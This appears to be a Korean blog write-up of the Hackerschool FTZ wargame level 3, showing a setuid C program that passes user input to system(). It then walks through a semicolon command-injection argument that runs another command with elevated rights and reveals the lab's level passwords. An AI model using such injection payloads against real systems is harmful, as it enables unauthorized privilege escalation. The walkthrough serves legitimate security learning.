티스토리 뷰

FTZ level3 -> level4

[level3@ftz level3]$ ls
hint  public_html  tmp
[level3@ftz level3]$ cat hint


다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

   char cmd[100];

   if( argc!=2 ){
       printf( "Auto Digger Version 0.9\n" );
       printf( "Usage : %s host\n", argv[0] );
       exit(0);
  }

   strcpy( cmd, "dig @" );
   strcat( cmd, argv[1] );
   strcat( cmd, " version.bind chaos txt");

   system( cmd );

}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?

autodig라는 프로그램의 소스코드란다.

strcat은 두번째 인자값(문자열)을 첫번째 인자값(문자열)에 추가시키는 함수이다.

결론적으로, "dig @[첫번째인자값] version.bind chaos txt"라는 명령어가 system함수에 의해 실행된다. 그렇다면 커맨드 인젝션이 가능하다.

커맨드 인젝션은 실행시키고 싶은 명령어를 권한이 있는 상황에서 실행가능할 때 할 수 있다. 위 문제로 예를 들어보자면, dig @;[실행시키고 싶은 명령어]; version.bind chaos txt와 같이 인자값을 구성하게 되면 dig가 실행 된 후에 실행시키고 싶은 명령어가 실행되고 version.bind는 없는 명령어가 뜰 것으로 예상된다.

여기서 인자 값을 넣을때 주의해야 할 점은

[level3@ftz level3]$ autodig ;my-pass;
Auto Digger Version 0.9
Usage : autodig host

Level3 Password is "can you fly?".

[level3@ftz level3]$

autodig를 분석했을 때 첫번째 인자 값이 dig 명령어에 추가되는 것을 확인할 수 있었다. 하지만, 위와 같이 실행했을 경우 예외처리에 의해 인자 값이 2개(실행되는 프로그램이 0번 인자, ;my-pass;가 첫번째 인자)가 아닌것으로 판단된것이다.

그 이유는 리눅스에서 명령어를 한번에 실행시키는 방법(동시에x, 순차적으로o)으로 ;(세미콜론)을 사용하기 때문이다. autodig라는 명령어의 인자로 아무것도 들어가지 않고 my-pass라는 명령어가 실행된 것이다. 사실 커맨드 인젝션이 이 세미콜론 때문에 가능한 것이기도 하다. (권한상승이 된 상태에서 system함수 실행 -> 원하는 명령어를 세미콜론을 이용해서 커맨드인젝션!)

따라서, 인자 값을 하나의 문자열로 인식 할 수 있도록 쌍따옴표로 엮어주면 된다뤼

[level3@ftz level3]$ autodig ";my-pass;"
dig: Couldn't find server '': Name or service not known

Level4 Password is "suck my brain".

sh: line 1: version.bind: command not found

그럼 예상대로 level4의 권한에서 dig가 실행되고 my-pass가 실행된 후 version.bind는 찾을 수 없는 명령어로 인식된 것을 확인할 수 있었다.

(뇌를 츄릅)

'Hackerschool Wargame > FTZ' 카테고리의 다른 글

FTZ level2 -> level3  (0) 2018.09.27
FTZ level1 -> level2  (1) 2018.09.26
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday